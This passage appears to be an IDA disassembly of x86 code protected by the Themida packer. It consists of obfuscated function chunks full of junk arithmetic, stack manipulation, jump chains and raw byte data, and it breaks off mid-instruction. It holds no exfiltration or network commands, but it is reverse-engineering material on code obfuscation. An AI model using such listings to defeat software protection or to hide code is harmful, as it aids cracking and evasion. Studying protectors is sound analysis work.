sub_59196D-42C7j add al, 0CCh add al, 5Eh push [esp+1Ch+var_1E+2] pop edx jmp loc_591539 ; --------------------------------------------------------------------------- loc_58C279: ; CODE XREF: sub_59196D-601Ej pop ebx mov eax, [esp+18h+var_1A+2] add esp, 4 xor al, dl push [esp+14h+var_16+2] pop edx add esp, 4 jmp loc_58C85E ; --------------------------------------------------------------------------- loc_58C28E: ; CODE XREF: sub_59196D+23FBj jmp loc_59744D ; --------------------------------------------------------------------------- loc_58C293: ; CODE XREF: sub_59196D:loc_597516j not cl push edx mov dl, 24h shl dl, 7 shl dl, 2 jmp loc_59182E ; --------------------------------------------------------------------------- loc_58C2A3: ; CODE XREF: sub_59196D+3318j push 7F66h mov [esp+18h+var_1A+2], esp jmp loc_58E5A7 ; --------------------------------------------------------------------------- loc_58C2B0: ; CODE XREF: sub_59196D-84Ej jmp loc_59735D ; --------------------------------------------------------------------------- loc_58C2B5: ; CODE XREF: sub_59196D+2813j sub eax, 4C9973ABh sub eax, ebp add eax, 4C9973ABh pop ebp pop esi push 39E0h jmp loc_58CB4A ; --------------------------------------------------------------------------- loc_58C2CD: ; CODE XREF: sub_59196D+65A3j push 6ECB2EF3h pop edi inc edi js loc_58FE7A add edi, 9136D10Ch push ecx push 2B0Fh mov [esp+1Ch+var_1E+2], edi mov ecx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_58D1AE ; --------------------------------------------------------------------------- loc_58C2F7: ; CODE XREF: sub_59196D+30BDj mov bl, 85h sub bl, 84h jmp loc_5967D4 ; --------------------------------------------------------------------------- loc_58C301: ; CODE XREF: sub_59196D-143Fj sub edx, 3E4112A9h add edx, eax jmp loc_596212 ; --------------------------------------------------------------------------- loc_58C30E: ; CODE XREF: sub_59196D-A62j push esp pop [esp+1Ch+var_1E+2] add [esp+18h+var_1A+2], 4 pop eax push edx mov edx, 8325EEDh jmp loc_58BD48 ; --------------------------------------------------------------------------- loc_58C325: ; CODE XREF: sub_59196D+5132j inc ebx and ebx, 3D095FB5h add ebx, 0CBF7B1E3h jmp loc_590814 ; --------------------------------------------------------------------------- loc_58C337: ; CODE XREF: sub_59196D+2082j neg bh push edx mov dl, 3Eh add dl, 27h shr dl, 1 push ebx mov bh, 58h sub bh, 3Dh and dl, bh pop ebx jmp loc_59526B ; --------------------------------------------------------------------------- loc_58C34F: ; CODE XREF: sub_59196D-BB2j or dx, 542Dh sub dx, 36CCh xor bx, dx jmp loc_590415 ; --------------------------------------------------------------------------- loc_58C361: ; CODE XREF: sub_59196D-63B9j ja loc_5917E4 sub ebp, 57CD3593h jns loc_58D19A mov bh, cl pop esi ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58C376 proc near ; CODE XREF: sub_59196D-2CE3j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058D40A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058E462 SIZE 00000009 BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp add al, bl sub al, 3Ch add al, 0D2h push edx sub esp, 4 mov [esp+8+var_8], eax mov al, 2Ah mov dh, 0F9h push eax mov al, 2Ch dec al jmp loc_58D40A sub_58C376 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C3A1: ; CODE XREF: sub_59196D-590Bj xor ebx, esi push [esp+14h+var_16+2] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+18h+var_1A+2] pop esp jmp loc_592EAD ; --------------------------------------------------------------------------- loc_58C3BF: ; CODE XREF: sub_59196D-1E9Ej xchg ebx, [esp+14h+var_16+2] pop esp jmp loc_593401 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590792 loc_58C3C8: ; CODE XREF: sub_590792-40C6j mov [esp+4+var_4], edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx sub edi, 4 jmp loc_58B695 ; END OF FUNCTION CHUNK FOR sub_590792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C3E1: ; CODE XREF: sub_59196D-4D60j mov edi, [esp+10h+var_12+2] add esp, 4 jmp loc_593EBC ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58C3EF proc near ; CODE XREF: sub_59196D+96Dj ; sub_59196D+4993j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0058D729 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 00590091 SIZE 0000000C BYTES push ebx push 3C11h jmp loc_58D729 sub_58C3EF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C3FA: ; CODE XREF: sub_59196D+503Cj ja loc_595CA6 xor edx, 10004CF5h mov ebp, edx pop edx add esi, ebp pop ebp xor esi, [esp+4+var_4] loc_58C40F: ; CODE XREF: sub_59196D-4171j push ecx mov ecx, 59EC358Eh add edi, ecx pop ecx shr edi, 6 xor edi, 736EAEB8h mov ebx, edi pop edi jmp loc_5947E0 ; --------------------------------------------------------------------------- loc_58C429: ; CODE XREF: sub_59196D-29A1j pop esp jmp loc_598666 ; --------------------------------------------------------------------------- loc_58C42F: ; CODE XREF: sub_59196D-2DC9j pop esi add esp, 4 add eax, 627504FDh add eax, 7E146452h add eax, edi sub eax, 7E146452h sub eax, 627504FDh jmp loc_5978A0 ; --------------------------------------------------------------------------- loc_58C451: ; CODE XREF: sub_59196D-6142j ; sub_59196D-404Aj mov word ptr [esp+10h+var_12+2], dx mov dl, 12h add bl, dl pop dx add bl, al sub bl, 12h push 7FEDh mov [esp+12h+var_12], edx mov dl, 9Eh push cx mov ch, 0F6h add bl, ch pop cx add bl, 1Fh add bl, dl sub bl, 1Fh jmp loc_593A17 ; --------------------------------------------------------------------------- loc_58C47F: ; CODE XREF: sub_59196D+57D7j mov esi, esp jmp loc_5958BA ; --------------------------------------------------------------------------- loc_58C486: ; CODE XREF: sub_59196D+105j push eax mov eax, esp add eax, 4 sub eax, 4 push eax push [esp+1Ah+var_16] jmp loc_5983FB ; --------------------------------------------------------------------------- loc_58C49D: ; CODE XREF: sub_59196D+1232j add eax, ecx sub eax, 6BF749A8h pop ecx xchg eax, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] jmp loc_58E9E2 ; --------------------------------------------------------------------------- loc_58C4B0: ; CODE XREF: sub_59196D+2899j cmp dword ptr [edi+20h], 0 jz loc_592EAD push ebx push eax mov eax, 22F4645Dh not eax shl eax, 6 push edx mov edx, 72A72AD3h jmp loc_58E19F ; --------------------------------------------------------------------------- loc_58C4D1: ; CODE XREF: sub_59196D+4CD5j mov [esp+26h+var_26], eax push edx mov dh, 0FDh mov al, dh pop edx add bl, al pop eax add bl, 0C7h jmp loc_593A66 ; --------------------------------------------------------------------------- loc_58C4E5: ; CODE XREF: sub_59196D-185Cj pop esi pop [esp+1Eh+var_1E] pop esp jmp loc_5907E5 ; --------------------------------------------------------------------------- loc_58C4EF: ; CODE XREF: sub_59196D+6007j add ebx, 4 add ebx, 4 xchg ebx, [esp+16h+var_16] pop esp and eax, ebp push [esp+12h+var_12] jmp loc_58E348 ; --------------------------------------------------------------------------- loc_58C506: ; CODE XREF: sub_59196D-74Cj mov ecx, 32A1C71Dh sub edi, ecx pop ecx add ebx, edi pop edi jmp loc_58D5D3 ; --------------------------------------------------------------------------- loc_58C516: ; CODE XREF: sub_59196D+1B5Dj push dword ptr [esp+0] pop esi jmp loc_597F48 ; --------------------------------------------------------------------------- loc_58C51F: ; CODE XREF: sub_59196D-34A1j add esp, 4 add ebx, 499F69D2h add ebx, eax sub ebx, 499F69D2h jmp loc_595F18 ; --------------------------------------------------------------------------- loc_58C535: ; CODE XREF: sub_59196D+3B1Aj push edx push [esp+0Eh+var_C+2] pop edx pop dword ptr [esp+0] mov esp, [esp+0Ah+var_C+2] push esp pop dword ptr [esp+0] push 7105h jmp loc_5958E1 ; --------------------------------------------------------------------------- loc_58C54F: ; CODE XREF: sub_59196D-18C0j mov ah, 0A4h jmp loc_58B498 ; --------------------------------------------------------------------------- loc_58C556: ; CODE XREF: sub_59196D-3A49j mov [esp+0], ebp mov ebp, esp push ecx mov ecx, 4 jmp loc_597AEE ; --------------------------------------------------------------------------- loc_58C566: ; CODE XREF: sub_59196D+5D99j pop edx add ebp, 18C273D6h jmp loc_590E36 ; --------------------------------------------------------------------------- loc_58C572: ; CODE XREF: sub_59196D+5D23j sub ebx, 9C148D21h mov ecx, ebx jmp loc_58EB3B ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58C57F proc near ; CODE XREF: sub_59196D-39E6j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058CCD6 SIZE 00000009 BYTES sub esp, 4 jmp loc_58CCD6 sub_58C57F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C58A: ; CODE XREF: sub_59196D+4F04j mov [esp+0], edi push edx mov edi, [esp+12h+var_12] jmp loc_59350D ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov cx, [esp] push 6929h mov [esp], ebx push esp push dword ptr [esp] pop ebx add esp, 4 push edi mov edi, 6B1D2CEAh or edi, 238C7B7Ch dec edi dec edi push ebx mov ebx, 7BA42BCFh jmp loc_5976BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C5C3: ; CODE XREF: sub_59196D-18Ej add ax, di push cx jmp loc_591E8E ; --------------------------------------------------------------------------- loc_58C5CD: ; CODE XREF: sub_59196D-341Ej mov esi, 4 jmp loc_5914CE ; --------------------------------------------------------------------------- loc_58C5D7: ; CODE XREF: sub_59196D+69C4j push eax push [esp+18h+var_16+2] pop eax pop [esp+18h+var_1A+2] mov esp, [esp+14h+var_16+2] movsx ecx, ax jmp loc_591FF8 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59069A loc_58C5EB: ; CODE XREF: sub_59069A-1AE3j sub eax, ebx pop ebx shr eax, 7 sub eax, 0E4E11028h jmp loc_5939C6 ; END OF FUNCTION CHUNK FOR sub_59069A ; --------------------------------------------------------------------------- lodsd push edi jmp loc_593FBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C602: ; CODE XREF: sub_59196D+4042j xor ebx, 0B03EDDC3h and ebp, ebx pop ebx jmp loc_592005 ; --------------------------------------------------------------------------- loc_58C610: ; CODE XREF: sub_59196D-6274j dec eax inc eax add eax, 793840B0h xor eax, 6F145D9Ah add ebp, eax jmp loc_592C77 ; --------------------------------------------------------------------------- loc_58C623: ; CODE XREF: sub_59196D-4A3Dj add dl, 0FFh jmp loc_596E80 ; --------------------------------------------------------------------------- loc_58C62B: ; CODE XREF: sub_59196D-58C3j mov [esp+0Ch+var_C], esp jmp loc_5916C6 ; --------------------------------------------------------------------------- loc_58C633: ; CODE XREF: sub_59196D+64DEj neg al jp loc_594CCA jmp loc_59350D ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- db 66h ; f db 0C1h ; а db 0E7h ; Г db 8 db 66h ; f db 0C1h ; а db 0E7h ; Г db 5 ; --------------------------------------------------------------------------- mov bl, bh ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C64A: ; CODE XREF: sub_59196D+2495j push [esp+0Ch+var_C] pop ebx add esp, 4 pop [esp+8+var_8] pop esp add esp, 4 idiv ecx push 7870h mov [esp+0], edx push eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58C66F: ; CODE XREF: sub_59196D+801j dec esi xor esi, 17E37384h add ebp, esi pop esi add ebp, 4 jmp loc_594071 ; --------------------------------------------------------------------------- loc_58C681: ; CODE XREF: sub_59196D+19A6j sub esi, 239398Bh pop eax jmp loc_594979 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58C68D proc near ; CODE XREF: sub_58E0B1+2459j push ebp mov ebp, 4 jmp loc_58E4BA sub_58C68D endp ; --------------------------------------------------------------------------- lodsb jmp loc_593A32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C69E: ; CODE XREF: sub_59196D-5B05j mov esp, [esp+36h+var_36] mov [esp+36h+var_36], ebx jmp sub_58CF0B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590792 loc_58C6A9: ; CODE XREF: sub_590792-534Aj pop ebx mov bl, 4Bh xor bl, cl mov ecx, [esp+8+var_8] add esp, 4 shr bl, 7 not bl sub bl, 60h sub al, 6Bh sub al, 8Fh sub al, bl add al, 8Fh add al, 6Bh pop ebx push 7FAFh jmp loc_58C3C8 ; END OF FUNCTION CHUNK FOR sub_590792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C6D1: ; CODE XREF: sub_59196D-392Fj pop esp btc word ptr [esp+32h+var_32], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58C6DD: ; CODE XREF: sub_59196D-A3Fj xor eax, 0A452A904h add ebp, eax pop eax push ebp push [esp+36h+var_32] pop ebp pop [esp+36h+var_36] pop esp add [esp+2Eh+var_2E], 5E936540h push ebx sub esp, 4 mov [esp+36h+var_36], ebp push 75B557A3h mov ebp, [esp+3Ah+var_3C+2] add esp, 4 shl ebp, 4 shr ebp, 6 add ebp, 795C3CAh jmp loc_58DFC8 ; --------------------------------------------------------------------------- loc_58C71F: ; CODE XREF: sub_59196D+3B9j push 4 pop ebp add edi, ebp pop ebp jmp loc_5900F4 ; --------------------------------------------------------------------------- loc_58C72D: ; CODE XREF: sub_59196D+3453j add ebx, 0D4E2F3Bh sub ebx, 6A024FECh add ebx, 0CC0791h add ebx, edx sub ebx, 0CC0791h add ebx, 6A024FECh push ebp mov ebp, 6A2F6AF6h inc ebp jmp loc_591561 ; --------------------------------------------------------------------------- loc_58C759: ; CODE XREF: sub_59196D+3935j push eax push ebp mov ebp, 8B829B3h mov eax, 12C9E0A6h jmp loc_591F09 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58C76A: ; CODE XREF: Themida_:0058BB80j jmp loc_5915E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C76F: ; CODE XREF: sub_59196D+1C24j add edx, ecx pop ecx sub esp, 4 mov [esp+3Eh+var_40+2], eax mov eax, 290278F0h add edx, eax pop eax sub edx, eax sub edx, 290278F0h sub esp, 4 mov [esp+3Eh+var_40+2], esi mov esi, 5B760B4Dh add esi, 0C6F25D57h add edx, 2DDD22CFh sub edx, 5936073Fh sub edx, esi add edx, 5936073Fh push eax mov eax, 76946A56h or eax, 78071616h not eax xor eax, 0ACB5A366h jmp loc_58B7A4 ; --------------------------------------------------------------------------- loc_58C7CA: ; CODE XREF: sub_59196D-4A7Aj add eax, ebx pop ebx xchg eax, [esp+3Eh+var_40+2] mov esp, [esp+3Eh+var_40+2] jmp loc_590D74 ; --------------------------------------------------------------------------- loc_58C7D8: ; CODE XREF: sub_59196D-4F66j add al, 7 and al, 0A0h jmp loc_58B3A4 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F533 loc_58C7E1: ; CODE XREF: sub_58F533+Aj pop ebp pop esi add esi, 4 add esi, 4 xor esi, [esp-8+arg_4] jmp loc_5936FF ; END OF FUNCTION CHUNK FOR sub_58F533 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C7F7: ; CODE XREF: sub_59196D-CD8j mov ebp, [esp+3Eh+var_40+2] push ecx mov ecx, esp add ecx, 4 jmp loc_58E2BD ; --------------------------------------------------------------------------- loc_58C808: ; CODE XREF: sub_59196D+13E3j add esi, 368336A9h shr esi, 5 jmp loc_58BCD9 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58C816 proc near ; CODE XREF: sub_59196D+2C7Dj ; FUNCTION CHUNK AT 0059020E SIZE 00000010 BYTES push ebp mov ebp, 7ACF46FDh mov edi, 4FB82507h xor edi, ebp pop ebp jmp loc_59020E sub_58C816 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C829: ; CODE XREF: sub_59196D+1639j push 3946h mov [esp+0], ebx mov ebx, esp add ebx, 4 push edi push eax mov eax, 9D73ADEh mov edi, 78AC2678h xor edi, eax pop eax jmp loc_592F5F ; --------------------------------------------------------------------------- loc_58C84D: ; CODE XREF: sub_59196D+5FF9j shl edx, 3 add edx, 730C239Dh xor esi, edx pop edx jmp loc_58BE6D ; --------------------------------------------------------------------------- loc_58C85E: ; CODE XREF: sub_59196D-56E4j xor bl, al movzx eax, al jmp loc_597BB4 ; --------------------------------------------------------------------------- loc_58C868: ; CODE XREF: sub_59196D-5B4Ej neg al jmp loc_58DDEF ; --------------------------------------------------------------------------- loc_58C86F: ; CODE XREF: sub_59196D-23D5j mov [esp+2Eh+var_2E], edi mov edi, 6ACC049Dh inc edi jmp loc_594C1F ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CDB loc_58C87D: ; CODE XREF: sub_590CDB+1Dj mov esp, [esp+0] add ebx, 4 add ebx, 2 xor ebx, [esp+0] jmp loc_5939DA ; END OF FUNCTION CHUNK FOR sub_590CDB ; --------------------------------------------------------------------------- db 81h, 0CBh, 0E2h dd 0F0A8518h, 0FFF2E38Ah, 6B84E9FFh, 815B0000h, 19294FE5h dd 51E0805Fh, 24048151h, 336561ACh, 0B9BF575Eh, 0C1120F66h dd 0EFC105E7h, 9EE78107h, 814FEA03h, 7B52C0F7h, 56B95147h dd 0E90D9A6Eh, 0AB17h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C8D8: ; CODE XREF: sub_59196D-2192j dec edi push esi mov esi, 1ABC7A65h sub esi, 58822718h shl esi, 3 push eax mov eax, 29537A9Fh not eax jmp loc_591141 ; --------------------------------------------------------------------------- loc_58C8F5: ; CODE XREF: sub_59196D+574Fj mov bl, ah mov dl, bl pop ebx mov eax, [esp+32h+var_32] jmp loc_59199E ; --------------------------------------------------------------------------- loc_58C902: ; CODE XREF: sub_59196D-2AA4j ; sub_59196D:loc_591E76j add edi, 4 sub esp, 4 mov [esp+36h+var_36], ebp push edx push ebp jmp loc_597732 ; --------------------------------------------------------------------------- loc_58C918: ; CODE XREF: sub_59196D+6A4Ej push [esp+3Eh+var_40+2] pop edi push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+42h+var_44+2] pop esp sub ax, bx push di mov di, 7FB7h add ax, di pop di jmp loc_5976A3 ; --------------------------------------------------------------------------- loc_58C940: ; CODE XREF: sub_59196D+2068j mov eax, ecx jmp loc_596AE5 ; --------------------------------------------------------------------------- loc_58C947: ; CODE XREF: sub_59196D+5A00j and edx, 6ED22E4Fh sub edx, 30D45494h jle loc_58F34D xor edx, 0A36590BEh jmp loc_58BACE ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop ebp xor eax, 0A9F56BF8h add ebx, eax pop eax mov edi, ebx jmp loc_591660 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C974: ; CODE XREF: sub_59196D+3D87j add edx, eax mov eax, [esp+3Eh+var_40+2] add esp, 4 xchg edx, [esp+3Ah+var_3C+2] pop esp add ecx, 4 add ecx, 2 xor ecx, [esp+36h+var_36] xor [esp+36h+var_36], ecx xor ecx, [esp+36h+var_36] mov esp, [esp+36h+var_36] mov fs:[edx], ax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58C9A1: ; CODE XREF: sub_59196D-20FCj add ebx, 0E54FD582h jmp loc_58EEEB ; --------------------------------------------------------------------------- loc_58C9AC: ; CODE XREF: sub_59196D-4F71j jge loc_58BD16 push esi jmp loc_58B987 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- sub bl, dl sub bl, 0EFh push ebp ; START OF FUNCTION CHUNK FOR sub_59196D loc_58C9BE: ; CODE XREF: sub_59196D+38F9j mov ebp, 713C3141h dec ebp push esi mov esi, 7CA2012Dh sub ebp, esi pop esi push esi mov esi, 0F49A3017h xor ebp, esi jmp loc_58DBA6 ; --------------------------------------------------------------------------- loc_58C9DA: ; CODE XREF: sub_59196D+39BEj add eax, [edx] pop edx jmp loc_58DF6E ; --------------------------------------------------------------------------- loc_58C9E2: ; CODE XREF: sub_59196D+591Cj pop ebx add ecx, 25F14287h jmp loc_58EDC2 ; --------------------------------------------------------------------------- loc_58C9EE: ; CODE XREF: sub_59196D+1A21j mov [esp+36h+var_36], esi mov esi, 56EC5E94h add esi, 204325A2h jmp loc_58C9AC ; --------------------------------------------------------------------------- loc_58CA01: ; CODE XREF: sub_59196D-37B7j mov al, 9Eh xor al, 0E5h xor al, 5Ch jmp loc_58C7D8 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 mov [esp], ebx push ecx jmp loc_595D1A ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push 5C90h mov [esp], ebp mov ebp, 4 add ebx, 723A2BADh add ebx, ebp sub ebx, 723A2BADh pop ebp push eax push edx jmp loc_59561F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CA4C: ; CODE XREF: sub_59196D+61EEj pop esp add eax, ebx push edx mov edx, 42A0936h add eax, edx pop edx pop ebx sub esp, 4 jmp loc_58FADD ; --------------------------------------------------------------------------- loc_58CA61: ; CODE XREF: sub_59196D-310Aj sub bl, ch add bl, 0AFh jmp loc_59663C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58CA6B: ; DATA XREF: Themida_:0058B11Co neg dword ptr [esp] pushf jmp loc_59808E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CA74: ; CODE XREF: sub_59196D:loc_590007j xor ecx, 61E02EFDh push esi mov esi, ecx jmp loc_58D8C9 ; --------------------------------------------------------------------------- loc_58CA82: ; CODE XREF: sub_59196D+40CAj push ecx mov ecx, 4 jmp loc_58B90A ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58CA8D proc near ; DATA XREF: Themida_:0058B128o mov ax, [esp+0] push ebx push esp jmp loc_5924F0 sub_58CA8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CA98: ; CODE XREF: sub_59196D:loc_58DD2Aj dec ebx jge loc_59659B sub ebx, 33AA6E9Bh mov ecx, ebx add al, 0EAh mov dl, al loc_58CAAB: ; CODE XREF: sub_59196D+4D6Ej neg dh add dh, 4Eh push 4A69h mov [esp+3Eh+var_40+2], edx mov dl, 0F1h not dl sub dl, 0AEh add al, dl push [esp+3Eh+var_40+2] pop edx add esp, 4 add al, dh jmp loc_5923B8 ; --------------------------------------------------------------------------- loc_58CAD2: ; CODE XREF: sub_59196D-1D98j pop esi shr edi, 1 push ebp push edi mov edi, 5EB42B6h mov ebp, 22D23F5h add ebp, edi mov edi, [esp+3Eh+var_40+2] add esp, 4 xor ebp, 56C529A2h xor edi, ebp pop ebp sub edi, 5F5F4B49h mov ecx, edi pop edi mov edx, ecx mov ecx, [esp+32h+var_32] push 12FDh mov [esp+36h+var_36], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+36h+var_36] jmp loc_58D265 ; --------------------------------------------------------------------------- loc_58CB21: ; CODE XREF: sub_59196D-1D32j ; sub_59196D+5799j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+3Ah+var_3C+2] jmp loc_590F9B ; --------------------------------------------------------------------------- loc_58CB36: ; CODE XREF: sub_59196D-47A1j push 4337h mov [esp+3Eh+var_40+2], ebx jmp sub_590438 ; --------------------------------------------------------------------------- loc_58CB43: ; CODE XREF: sub_59196D+1329j mov esi, esp jmp loc_592050 ; --------------------------------------------------------------------------- loc_58CB4A: ; CODE XREF: sub_59196D-56A5j mov [esp+14h+var_16+2], edx mov edx, 73130E21h shr edx, 2 jz loc_591C86 dec edx jmp loc_5922C9 ; --------------------------------------------------------------------------- loc_58CB61: ; CODE XREF: sub_59196D-4D73j sub al, 30h sub al, bl add al, 30h add al, 6 push 5C8Dh mov [esp+18h+var_1A+2], ecx mov cl, 98h push 0 sub byte ptr [esp+1Ch+var_1E+2], cl jmp loc_59021E ; --------------------------------------------------------------------------- loc_58CB80: ; CODE XREF: sub_59196D-2028j push eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58CB87: ; CODE XREF: sub_59196D-3DA4j add al, bl add al, 10h push ebx jmp loc_590F51 ; --------------------------------------------------------------------------- loc_58CB91: ; CODE XREF: sub_59196D-3CE8j push eax mov al, 0AFh jmp loc_58E1AC ; --------------------------------------------------------------------------- loc_58CB99: ; CODE XREF: sub_59196D-3E1Bj jmp loc_58EDA6 ; --------------------------------------------------------------------------- loc_58CB9E: ; CODE XREF: sub_59196D+3646j shl ebx, 7 shr ebx, 3 jmp loc_5959A7 ; --------------------------------------------------------------------------- loc_58CBA9: ; CODE XREF: sub_59196D-4131j ; sub_59196D+300j push 6353h jmp loc_59741B ; --------------------------------------------------------------------------- loc_58CBB3: ; CODE XREF: sub_59196D-27B1j add edi, 4 jmp sub_5909BD ; --------------------------------------------------------------------------- loc_58CBBE: ; CODE XREF: sub_59196D+B00j ; sub_59196D+5C5Aj add esp, 2 jmp loc_590458 ; --------------------------------------------------------------------------- loc_58CBC6: ; CODE XREF: sub_59196D+1C4Ej add edx, 4 xchg edx, [esp+2Ch+var_2E+2] pop esp push 4B09h mov [esp+2Ch+var_2E+2], ebp mov ebp, 24h push ebx jmp loc_597306 ; --------------------------------------------------------------------------- loc_58CBE0: ; CODE XREF: sub_59196D-1514j mov cl, 38h push ebx mov bl, 0B7h sub cl, bl pop ebx xor cl, 99h and cl, 33h add cl, 0F8h sub cl, 0FEh add cl, 0FCh sub al, cl pop ecx jmp loc_58CB61 ; --------------------------------------------------------------------------- loc_58CBFF: ; CODE XREF: sub_59196D-27EEj pop ebp sub esp, 4 jmp loc_595D11 ; --------------------------------------------------------------------------- loc_58CC0B: ; CODE XREF: sub_59196D-1CA1j add ebp, edi jmp loc_58C3E1 ; --------------------------------------------------------------------------- loc_58CC12: ; CODE XREF: sub_59196D-22D2j push edi mov edi, 0ECEFDDFCh sub esi, edi mov edi, [esp+30h+var_32+2] jmp loc_58FAC9 ; --------------------------------------------------------------------------- loc_58CC22: ; CODE XREF: sub_59196D-19Ej sub esi, ecx pop ecx add esi, eax add esi, 2F100DCDh push 7B36h mov [esp+30h+var_32+2], eax mov eax, 4CEF035Eh push edi push esi push 2D5F3DBCh jmp loc_58B8F6 ; --------------------------------------------------------------------------- loc_58CC46: ; CODE XREF: sub_59196D:loc_58E6FAj xor ebp, 62354324h xor ebp, 417439C1h jmp loc_58C0EC ; --------------------------------------------------------------------------- loc_58CC57: ; CODE XREF: sub_59196D+2401j mov ax, word ptr [esp+3Ch+var_3C] sub esp, 4 jmp loc_58F289 ; --------------------------------------------------------------------------- loc_58CC63: ; CODE XREF: sub_59196D+6016j mov ecx, 77C37F4h shr ecx, 8 xor ecx, 1FC50233h xor ecx, 1FC27E00h add ebx, ecx mov ecx, [esp+40h+var_40] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+44h+var_44] pop esp add ebx, 4 xchg ebx, [esp+40h+var_40] pop esp pop esi push 79CDh mov [esp+3Ch+var_3C], ebx push 10A445FEh pop ebx push ebx jmp loc_58F079 ; --------------------------------------------------------------------------- loc_58CCA8: ; CODE XREF: sub_59196D+13B7j pop ecx add bl, al pop ax jmp loc_58E37E ; --------------------------------------------------------------------------- loc_58CCB2: ; CODE XREF: sub_59196D-446Fj dec edi xor edi, 934783Dh neg edi jmp loc_59172C ; --------------------------------------------------------------------------- loc_58CCC0: ; CODE XREF: sub_59196D-3E78j pop edx sub esp, 4 mov [esp+3Ah+var_3C+2], ebx add [esp+3Ah+var_3C+2], 253F0212h jmp loc_595ACA ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C57F loc_58CCD6: ; CODE XREF: sub_58C57F+6j mov [esp+4+var_4], eax push ecx jmp loc_59365E ; END OF FUNCTION CHUNK FOR sub_58C57F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CCDF: ; CODE XREF: sub_59196D-3747j sub al, 0AEh add al, 44h xor al, 0ABh jmp loc_5914BF ; --------------------------------------------------------------------------- loc_58CCEA: ; CODE XREF: sub_59196D-1169j mov ebx, 0C4A74192h add esi, ebx jmp loc_591E7B ; --------------------------------------------------------------------------- loc_58CCF6: ; CODE XREF: sub_59196D+41FBj push 0D15h mov [esp+3Eh+var_40+2], edx push 4C9307C7h mov edx, [esp+42h+var_44+2] add esp, 4 and edx, 2DA40ACh jno loc_58F0C0 jmp loc_59494C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop eax add eax, 4 ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CD20: ; CODE XREF: sub_59196D-472Fj mov [esp+3Eh+var_40+2], ecx mov ecx, 4EBE6BE2h jmp 